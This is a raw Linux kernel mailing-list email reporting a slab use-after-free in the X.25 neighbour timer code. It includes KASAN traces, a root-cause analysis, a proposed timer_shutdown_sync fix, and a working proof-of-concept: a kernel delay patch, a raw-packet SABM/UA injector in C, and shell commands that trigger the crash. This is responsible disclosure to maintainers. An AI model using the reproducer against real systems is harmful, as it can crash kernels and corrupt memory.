From nobody Sat Sep 26 16:39:32 2026 Received: from m16.mail.163.com (m16.mail.163.com [117.135.210.5]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id CA69839CCFB; Tue, 1 Sep 2026 13:10:44 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=117.135.210.5 ARC-Seal: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1788268252; cv=none; b=WT2oQK5OwCh7loX/wXz9FPrRnJ34OdCYq3cjjitjuVhJurJPTN2zqBhrSGxyvckqPACPe0mdY+xT+ujOOK+p/DpWP9QeVIsZdFSB8stiG6DR19+0hEfWK4nwwtZ/VfR5b/oieLZ/1iioba4KCEEPjv6QduNrGRTZ7onmFZbnneE= ARC-Message-Signature: i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1788268252; c=relaxed/simple; bh=0miobuEASYZUSzJ6xP998FJuQoyB293IYs/ECbGf6Ok=; h=Date:From:To:Cc:Subject:Content-Type:MIME-Version:Message-ID; b=ju5sgz4f8R/NETU7oDxsQznMyD5pbfQLz3YXPGHTN6nDEyPtf48x4ugEUpxnsW8siKdBxdfPntb5rq3p1QkvqvN+Fsb3bkZB5uLwKaAmYi9qGp8iQU4C3HseQLOf9UWKMqYef8zuOWW1tMfR2wsMMdV2c/WIoM0fi8tqh8+bpbQ= ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=163.com; spf=pass smtp.mailfrom=163.com; dkim=pass (1024-bit key) header.d=163.com header.i=@163.com header.b=JrecfRuY; arc=none smtp.client-ip=117.135.210.5 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=none dis=none) header.from=163.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=163.com Authentication-Results: smtp.subspace.kernel.org; dkim=pass (1024-bit key) header.d=163.com header.i=@163.com header.b="JrecfRuY" DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com; s=s110527; h=Date:From:To:Subject:Content-Type:MIME-Version: Message-ID; bh=0miobuEASYZUSzJ6xP998FJuQoyB293IYs/ECbGf6Ok=; b=J recfRuYKrOye0YfYGTatBMAWNQoThZ/X0mb/lW2z4UZh87eTgByTXuVWLSmh8HCO 7+uMksGq7qThNX+tJaDnYAke9v6GVHnDORH8qgT7OKfPFPMgkkW9vYxg0EHBzCAh TVGQNZHVaAkh+Yuv280MIoyBVsYZ7jCDdTD8g1geus= Received: from luckd0g$163.com ( [240a:42be:2:da:fc12:fb46:39c3:90fa] ) by ajax-webmail-wmsvr-40-146 (Coremail) ; Tue, 1 Sep 2026 21:10:03 +0800 (CST) Date: Tue, 1 Sep 2026 21:10:03 +0800 (CST) From: luckdog To: horms@kernel.org, kuba@kernel.org, ms@dev.tdt.de, davem@davemloft.net, edumazet@google.com, pabeni@redhat.com Cc: linux-x25@vger.kernel.org, netdev@vger.kernel.org, linux-kernel@vger.kernel.org Subject: slab-use-after-free in x25_transmit_restart_request X-Priority: 3 X-Mailer: Coremail Webmail Server Version 2023.4-cmXT build 20260511(2e539873) Copyright (c) 2002-2026 www.mailtech.cn 163com X-NTES-SC: AL_Qu2TCv6dt0or5SefbOkfmU4Rhug7UMO3uf8n24JfPJ9wjCzr6g8KWkdGBlDE7caMECuulDWITDdn7ctXc65jZb8NgNES+0Lwkt+oejZp/QjKiA== Content-Transfer-Encoding: quoted-printable Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Message-ID: <592ed71c.a1fe.1a05d174f12.Coremail.luckd0g@163.com> X-Coremail-Locale: zh_CN X-CM-TRANSID: kigvCgBHD8SrzpZqwTE9AA--.12684W X-CM-SenderInfo: poxfyvkqj6il2tof0z/xtbC0wseqGqWzqvWbQAA3M X-Coremail-Antispam: 1U5529EdanIXcx71UUUUU7vcSsGvfC2KfnxnUU== Content-Type: text/plain; charset="utf-8" Dear maintainers, I am reporting a slab use-after-free (UAF) in the X.25 neighbour/timer path. It was found by static auditing of net/x25 for timer-UAF patterns and then KASAN-verified. It is isomorphic to CVE-2025-21718 (rose_neigh): a refcounted neigh with an embedded self-re-arming timer whose free path does not synchronously stop the timer, so the timer callback can run after kfree(nb) and dereference freed memory. Observed on Linux v7.3-rc1. (commit: cee9395acd8043be0644b25c34bfa86623f2b935). This mail contains: the KASAN evidence, the buggy code, the root cause, the reproducible PoC (a small in-kernel delay-only helper + a userspace SABM/UA injector + the shell sequence), and a proposed fix. Call Trace & Context =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D BUG: KASAN: slab-use-after-free in x25_transmit_restart_request+0x245/0x260 Read of size 4 at addr ffff888010dabd1c by task swapper/5/0 CPU: 5 UID: 0 PID: 0 Comm: swapper/5 Tainted: G B 7.3.0-rc1 #13 PREEMPT= (lazy) Call Trace: =C2=A0 =C2=A0x25_transmit_restart_request+0x245/0x260 # reads nb->extended (off= set 0x1c) =C2=A0x25_t20timer_expiry+0x8d/0x110 # the t20timer callback =C2=A0call_timer_fn+0x36/0x2b0 =C2=A0__run_timers+0x609/0x960 =C2=A0run_timer_softirq+0x1ba/0x210 =C2=A0handle_softirqs+0x17f/0x590 # TIMER_SOFTIRQ =C2=A0__irq_exit_rcu+0xc1/0x160 =C2=A0sysvec_apic_timer_interrupt+0x70/0x80 =C2=A0 Allocated by task 3088: =C2=A0x25_link_device_up+0x47/0x490 # nb allocated on NETDEV_= REGISTER(ARPHRD_X25) =C2=A0x25_device_event+0x1dd/0x2e0 =C2=A0register_netdevice / lapbeth_device_event (ip link set lapb0 up) Freed by task 3102: =C2=A0kfree+0x162/0x450 =C2=A0__x25_remove_neigh+0x1cd/0x270 # frees nb, does NOT stop = the t20timer =C2=A0x25_link_device_down+0xb9/0x160 # NETDEV_UNREGISTER(lapb0) =C2=A0x25_device_event+0x1f9/0x2e0 =C2=A0unregister_netdevice_many_notify / lapbeth_device_event / rtnl_dellin= k (ip link del vb0) Second UAF site (timer core writing the freed timer_list): BUG: KASAN: slab-use-after-free in __run_timers+0x89b/0x960 Write of size 8 at addr ffff888010dabd48 by task swapper/5/0 # offset 0x4= 8 inside freed nb (timer_list field) =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The read at offset 0x1c is `nb->extended`; the write at offset 0x48 is inside the embedded `struct timer_list t20timer`. Both are inside the freed `struct x25_neigh`. Execution Flow & Code Context The t20timer callback dereferences the neigh it is given and re-arms itself, with no self-held reference: ```c // net/x25/x25_link.c static void x25_t20timer_expiry(struct timer_list *t) { =C2=A0 =C2=A0 struct x25_neigh *nb =3D timer_container_of(nb, t, t20timer);= /* no ref taken */ =C2=A0 =C2=A0 x25_transmit_restart_request(nb); /* derefs nb->extend= ed, nb->dev... */ =C2=A0 =C2=A0 x25_start_t20timer(nb); /* mod_timer(&nb->t2= 0timer, ...) =E2=80=94 re-arms */ } ``` The free path does not stop the timer before kfree: ```c // net/x25/x25_link.c static void __x25_remove_neigh(struct x25_neigh *nb) { =C2=A0 =C2=A0 if (nb->node.next) { =C2=A0 =C2=A0 =C2=A0 =C2=A0 list_del(&nb->node); =C2=A0 =C2=A0 =C2=A0 =C2=A0 x25_neigh_put(nb); /* refcoun= t_dec_and_test -> kfree(nb) */ =C2=A0 =C2=A0 =C2=A0 =C2=A0 /* no x25_stop_t20timer() here */ =C2=A0 =C2=A0 } } ``` `x25_stop_t20timer` (used only by `x25_link_terminated`, the NETDEV_DOWN path) is the *async* `timer_delete` =E2=80=94 it cancels a merely-pending t= imer but does NOT synchronise a concurrently-running callback and does NOT prevent the callback from re-arming: ```c static inline void x25_stop_t20timer(struct x25_neigh *nb) { =C2=A0 =C2=A0 timer_delete(&nb->t20timer); /* async; old del_ti= mer semantics */ } ``` `struct x25_neigh` (include/net/x25.h:138-148) is refcounted (`refcount_t refcnt`) and embeds `struct timer_list t20timer`; the slab is plain kmalloc (not SLAB_TYPESAFE_BY_RCU). There are no call_rcu/ kfree_rcu/synchronize_rcu/timer_shutdown_sync primitives anywhere in net/x25. Root Cause Analysis This is the textbook "free a struct that still has an armed timer" bug (the same shape as CVE-2025-21718 / rose_neigh). Two free paths reach `__x25_remove_neigh` -> `x25_neigh_put` -> `kfree(nb)` without synchronously stopping the t20timer: 1) Device unregister (NETDEV_UNREGISTER / NETDEV_PRE_TYPE_CHANGE): =C2=A0 =C2=A0 =C2=A0x25_device_event -> x25_link_device_down -> __x25_remov= e_neigh -> kfree =C2=A0 =C2=A0For an UP device, NETDEV_DOWN is sent first and calls =C2=A0 =C2=A0x25_link_terminated -> x25_stop_t20timer (=3D async timer_dele= te). That =C2=A0 =C2=A0cancels a merely-pending timer but, if the callback is mid-exe= cution, =C2=A0 =C2=A0timer_delete returns without waiting and the callback's =C2=A0 =C2=A0x25_start_t20timer re-arms it; the subsequent NETDEV_UNREGISTE= R then =C2=A0 =C2=A0kfrees nb while the timer is pending again -> it fires after k= free -> =C2=A0 =C2=A0UAF. This path is a race (narrow; needs the callback mid-execu= tion =C2=A0 =C2=A0during the DOWN->UNREGISTER window). 2) Module unload (rmmod x25 -> x25_exit -> x25_link_free): =C2=A0 =C2=A0 =C2=A0x25_link_free -> __x25_remove_neigh -> kfree =C2=A0 =C2=A0This path does NOT call x25_link_terminated and does NOT call =C2=A0 =C2=A0x25_stop_t20timer at all, so if the t20timer is armed when the= module =C2=A0 =C2=A0is unloaded, kfree happens with the timer still pending -> the= timer =C2=A0 =C2=A0fires after kfree -> UAF. By analysis this path is determinist= ic (not a =C2=A0 =C2=A0race): the timer is pending, the freer never cancels it, so it= will =C2=A0 =C2=A0fire after kfree. (I did not switch CONFIG_X25=3Dm to exercise= this path =C2=A0 =C2=A0under KASAN; the KASAN evidence below was obtained on path 1.) In both paths the freer never synchronises the timer against the callback. The callback unconditionally re-arms (x25_start_t20timer) and dereferences nb (x25_transmit_restart_request reads nb->extended), so once kfree beats the callback (path 1 race) or simply precedes the next fire (path 2 deterministic), the callback/timer-core touches freed memory. Potential Impact Local. Path 1 requires CAP_NET_ADMIN (creating/bringing up an X.25 device and unregistering it =E2=80=94 e.g. via lapbether over a veth pair). Path 2 requires CAP_SYS_MODULE (rmmod x25). Best characterised as a local DoS (kernel panic/Oops under KASAN; potential memory corruption otherwise) within the CAP_NET_ADMIN/CAP_SYS_MODULE boundary, not an unprivileged LPE. It is the same calibre as CVE-2025-21718 (rose_neigh). =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Reproducer =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The race in path 1 is narrow (the callback's post-kfree window must overlap the freer). To make it reproducible under KASAN I added a *gated, default-off* busy-wait in the callback. This is delay-only: it does NOT change the execution path. The callback still runs the same vanilla x25_transmit_restart_request + x25_start_t20timer; the freer still goes through the same vanilla __x25_remove_neigh -> kfree which still does not stop the timer. The helper only widens the callback's lifetime so the freer's kfree lands inside it. mdelay (not msleep) is used because x25_t20timer_expiry runs in TIMER_SOFTIRQ, which must not sleep. With delay=3D0 the kernel behaves exactly as upstream. --- Helper patch (kernel, apply on top of v7.3-rc1) --- The following is the complete in-kernel helper. The pr_info lines are optional tracing (not needed for the repro to function; can be dropped); the repro-relevant parts are the includes, the debugfs toggle, and the gated mdelay. ```diff --- a/net/x25/x25_link.c +++ b/net/x25/x25_link.c @@ -22,6 +22,8 @@ =C2=A0#include =C2=A0#include =C2=A0#include =C2=A0#include +#include +#include =C2=A0#include =C2=A0#include =C2=A0#include @@ -33,6 +35,16 @@ DEFINE_RWLOCK(x25_neigh_list_lock); =C2=A0LIST_HEAD(x25_neigh_list); =C2=A0DEFINE_RWLOCK(x25_neigh_list_lock); +/* REPRO (delay-only): tunable delay for x25_t20timer_expiry. Default 0=3D= no-op. */ +unsigned int x25_repro_cb_delay_ms; + +static int __init x25_repro_debugfs_init(void) +{ + debugfs_create_u32("x25_repro_cb_delay_ms", 0644, NULL, + &x25_repro_cb_delay_ms); + return 0; +} +late_initcall(x25_repro_debugfs_init); + =C2=A0static void x25_t20timer_expiry(struct timer_list *); @@ -60,7 +72,17 @@ static void x25_t20timer_expiry(struct timer_list *t) =C2=A0static void x25_t20timer_expiry(struct timer_list *t) =C2=A0{ =C2=A0 struct x25_neigh *nb =3D timer_container_of(nb, t, t20timer); + /* REPRO (delay-only): widen the callback's lifetime so a concurrent + * freer (x25_link_device_down/__x25_remove_neigh -> kfree(nb)) can + * free nb while this callback is still running. After the busy-wait, + * the post-delay derefs (x25_transmit_restart_request + x25_start_t20tim= er + * =3D mod_timer on &nb->t20timer) hit freed nb. Uses mdelay (NOT msleep) + * because this runs in TIMER_SOFTIRQ which must not sleep. No-op unless + * /sys/kernel/debug/x25_repro_cb_delay_ms > 0. NOT a fix. */ + if (x25_repro_cb_delay_ms) + mdelay(x25_repro_cb_delay_ms); + =C2=A0 x25_transmit_restart_request(nb); =C2=A0 x25_start_t20timer(nb); =C2=A0} ``` (Optional tracing pr_info lines added in x25_link_established and __x25_remove_neigh to confirm timer-arming and the free path; omitted here for brevity =E2=80=94 they are pure printk and do not change logic.) --- Userspace PoC: sabm_inject.c --- Bring lapb0's L2 up so x25 arms the t20timer. lapbether's LAPB is DTE; sending a LAPB SABM (then a UA to complete state_1) on the veth peer causes lapb0 to connect -> x25_link_established -> arm t20timer. Build statically (gcc -static -o sabm_inject sabm_inject.c) and run as root in the guest. ```c /* sabm_inject.c =E2=80=94 inject LAPB SABM then UA on a veth peer so lapbe= ther's =C2=A0* lapb0 connects and x25 arms the t20timer. =C2=A0* Build: gcc -static -o sabm_inject sabm_inject.c =C2=A0* Usage: sabm_inject (send on ifname; peer end's lapb rece= ives) =C2=A0*/ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #define ETH_P_DEC 0x6000 int main(int argc, char **argv){ =C2=A0 =C2=A0 if(argc < 2){ fprintf(stderr, "usage: %s [count]\n",= argv[0]); return 1; } =C2=A0 =C2=A0 int count =3D (argc >=3D 3) ? atoi(argv[2]) : 1; =C2=A0 =C2=A0 int s =3D socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); =C2=A0 =C2=A0 if(s < 0){ perror("socket"); return 1; } =C2=A0 =C2=A0 struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); =C2=A0 =C2=A0 strncpy(ifr.ifr_name, argv[1], IFNAMSIZ-1); =C2=A0 =C2=A0 if(ioctl(s, SIOCGIFINDEX, &ifr) < 0){ perror("ioctl SIOCGIFIN= DEX"); return 1; } =C2=A0 =C2=A0 int ifindex =3D ifr.ifr_ifindex; =C2=A0 =C2=A0 /* Send SABM then UA to cover both lapb state_0 (SABM->connec= t_indication) =C2=A0 =C2=A0 =C2=A0* and state_1 (lapb self-sent SABM, UA->connect_confirm= ation). =C2=A0 =C2=A0 =C2=A0* Frame: dst(bcast)+src+ethertype(ETH_P_DEC)+lapbether = len(2 LE)+LAPB(addr,ctrl). =C2=A0 =C2=A0 =C2=A0* SABM: ADDR_A(0x03) command, control SABM|P=3D1 (0x3F). =C2=A0 =C2=A0 =C2=A0* UA: ADDR_B(0x01) response, control UA|F=3D1 (0x73= ). */ =C2=A0 =C2=A0 unsigned char sabm[18] =3D { =C2=A0 =C2=A0 =C2=A0 =C2=A0 0xff,0xff,0xff,0xff,0xff,0xff, 0x00,0x11,0x22,0= x33,0x44,0x55, =C2=A0 =C2=A0 =C2=A0 =C2=A0 0x60,0x00, 0x02,0x00, 0x03,0x3f =C2=A0 =C2=A0 }; =C2=A0 =C2=A0 unsigned char ua[18] =3D { =C2=A0 =C2=A0 =C2=A0 =C2=A0 0xff,0xff,0xff,0xff,0xff,0xff, 0x00,0x11,0x22,0= x33,0x44,0x55, =C2=A0 =C2=A0 =C2=A0 =C2=A0 0x60,0x00, 0x02,0x00, 0x01,0x73 =C2=A0 =C2=A0 }; =C2=A0 =C2=A0 struct sockaddr_ll dst; memset(&dst, 0, sizeof(dst)); =C2=A0 =C2=A0 dst.sll_family =3D AF_PACKET; =C2=A0 =C2=A0 dst.sll_protocol =3D htons(ETH_P_DEC); =C2=A0 =C2=A0 dst.sll_ifindex =3D ifindex; =C2=A0 =C2=A0 dst.sll_halen =3D 6; =C2=A0 =C2=A0 memset(dst.sll_addr, 0xff, 6); =C2=A0 =C2=A0 for(int i =3D 0; i < count; i++){ =C2=A0 =C2=A0 =C2=A0 =C2=A0 int n; =C2=A0 =C2=A0 =C2=A0 =C2=A0 n =3D sendto(s, sabm, sizeof(sabm), 0, (struct = sockaddr*)&dst, sizeof(dst)); =C2=A0 =C2=A0 =C2=A0 =C2=A0 if(n < 0){ perror("sendto sabm"); return 1; } =C2=A0 =C2=A0 =C2=A0 =C2=A0 usleep(200000); /* 200ms: let lapb0 self-send S= ABM / process */ =C2=A0 =C2=A0 =C2=A0 =C2=A0 n =3D sendto(s, ua, sizeof(ua), 0, (struct sock= addr*)&dst, sizeof(dst)); =C2=A0 =C2=A0 =C2=A0 =C2=A0 if(n < 0){ perror("sendto ua"); return 1; } =C2=A0 =C2=A0 =C2=A0 =C2=A0 if(count > 1) usleep(500000); =C2=A0 =C2=A0 } =C2=A0 =C2=A0 printf("sent %d SABM+UA pair(s) on %s\n", count, argv[1]); =C2=A0 =C2=A0 return 0; } ``` --- Reproduction sequence (root, KASAN kernel with X25=3Dy/LAPB=3Dy/LAPBETH= ER=3Dy) --- =C2=A0 =C2=A0 # 1. set t20 to the sysctl minimum (1*HZ =3D 1s; HZ=3D100 her= e) =C2=A0 =C2=A0 echo 100 > /proc/sys/net/x25/restart_request_timeout =C2=A0 =C2=A0 # 2. create a veth pair; lapbether auto-creates lapb0 (on vb0= ) + lapb1 (on veth0) =C2=A0 =C2=A0 ip link add dev vb0 type veth peer name veth1 =C2=A0 =C2=A0 ip link set dev vb0 up =C2=A0 =C2=A0 ip link set dev veth0 up =C2=A0 =C2=A0 ip link set dev lapb0 up =C2=A0 =C2=A0 # 3. enable the delay helper (5s busy-wait in the callback) =C2=A0 =C2=A0 echo 5000 > /sys/kernel/debug/x25_repro_cb_delay_ms =C2=A0 =C2=A0 # 4. bring lapb0's L2 up: inject SABM then UA on the veth pee= r (vb0's peer is veth0) =C2=A0 =C2=A0 ./sabm_inject veth0 =C2=A0 =C2=A0 # -> lapb0 connected -> x25_link_established -> t20timer a= rmed (state_2) =C2=A0 =C2=A0 # -> timer fires -> callback busy-waits 5s =C2=A0 =C2=A0 # 5. trigger the freer: delete the underlying veth -> lapb0 u= nregistered =C2=A0 =C2=A0 ip link del vb0 =C2=A0 =C2=A0 # NETDEV_DOWN -> x25_link_terminated (async timer_delete;= callback running -> not cancelled) =C2=A0 =C2=A0 # NETDEV_UNREGISTER -> x25_link_device_down -> __x25_remov= e_neigh -> kfree(nb) =C2=A0 =C2=A0 # callback wakes -> x25_transmit_restart_request(nb) reads= freed nb -> KASAN Expected KASAN output (produced): =C2=A0 =C2=A0 BUG: KASAN: slab-use-after-free in x25_transmit_restart_reque= st+0x245/0x260 =C2=A0 =C2=A0 =C2=A0 Read of size 4 at ...dabd1c (nb->extended @ off 0x1c) =C2=A0 =C2=A0 =C2=A0 x25_t20timer_expiry+0x8d/0x110 <- call_timer_fn <- __r= un_timers (TIMER_SOFTIRQ) =C2=A0 =C2=A0 BUG: KASAN: slab-use-after-free in __run_timers+0x89b/0x960 =C2=A0 =C2=A0 =C2=A0 Write of size 8 at ...dabd48 (timer_list field @ off 0= x48 inside freed nb) =C2=A0 =C2=A0 Allocated by: x25_link_device_up =C2=A0 =C2=A0 Freed by: kfree <- __x25_remove_neigh <- x25_link_device_down= (NETDEV_UNREGISTER) The freer stack is the natural x25_link_device_down -> __x25_remove_neigh -> kfree path (no helper in the freer); the access stack is the vanilla x25_transmit_restart_request <- x25_t20timer_expiry callback. The core race is on the real vanilla code; the helper only widens the callback window. Why the helper is valid evidence (and what it does NOT prove): - UNCHANGED vs upstream: the reader (x25_t20timer_expiry callback) still =C2=A0 runs vanilla x25_transmit_restart_request + x25_start_t20timer; the =C2=A0 freer still runs vanilla __x25_remove_neigh -> kfree which still does =C2=A0 not stop the timer. The freer is invoked by the natural NETDEV_UNREG= ISTER =C2=A0 path (ip link del), not by the helper. - REPLACED: nothing. The helper only inserts a gated busy-wait at the =C2=A0 start of the callback (delay=3D0 -> no-op -> vanilla behaviour). - PROVEN: when the callback is running (in the busy-wait) and the freer =C2=A0 kfrees nb, the callback's post-busy-wait derefs of freed nb are a re= al =C2=A0 slab-use-after-free (KASAN slab-use-after-free, exact field offsets =C2=A0 0x1c/0x48). The defect is not a false positive. - NOT PROVEN by this run: the deterministic module-unload path (rmmod x25 =C2=A0 -> x25_link_free -> kfree with no timer stop) needs CONFIG_X25=3Dm; = it is =C2=A0 deterministic by analysis (the timer is pending and never cancelled,= so =C2=A0 it fires after kfree) and the proposed fix covers it, but I did not =C2=A0 switch X25=3Dm to exercise it under KASAN. Proposed Fix The freer must synchronously stop the timer (and prevent re-arm) before the final put/kfree, and the existing stop must be synchronous: ```diff --- a/net/x25/x25_link.c +++ b/net/x25/x25_link.c @@ static inline void x25_stop_t20timer(struct x25_neigh *nb) - timer_delete(&nb->t20timer); + timer_shutdown_sync(&nb->t20timer); /* sync running callback + prevent = re-arm */ @@ static void __x25_remove_neigh(struct x25_neigh *nb) =C2=A0 if (nb->node.next) { + x25_stop_t20timer(nb); /* stop before put/kfree (covers UNREGIS= TER + module unload) */ =C2=A0 =C2=A0list_del(&nb->node); =C2=A0 =C2=A0x25_neigh_put(nb); =C2=A0 } ``` `timer_shutdown_sync` (the modern replacement for del_timer_sync that also disables the timer so the callback cannot re-arm it) fixes both the async `timer_delete` weakness in `x25_link_terminated` (NETDEV_DOWN) and the "no stop at all" in `__x25_remove_neigh` (NETDEV_UNREGISTER and module-unload). An alternative/complementary fix is to make `x25_t20timer_expiry` take a neigh reference for the duration of the callback (x25_neigh_hold on entry, x25_neigh_put on exit) so the freer's put cannot reach 0 while the callback runs; the timer_shutdown_sync change above is the smaller, more local fix and mirrors the fix pattern for CVE-2025-21718. I would be grateful if the maintainers could assess practical severity and pick a fix. If you have fixed this bug,=20 please add "reported by: Jianzhou Zhao". Best regards, Jianzhou Zhao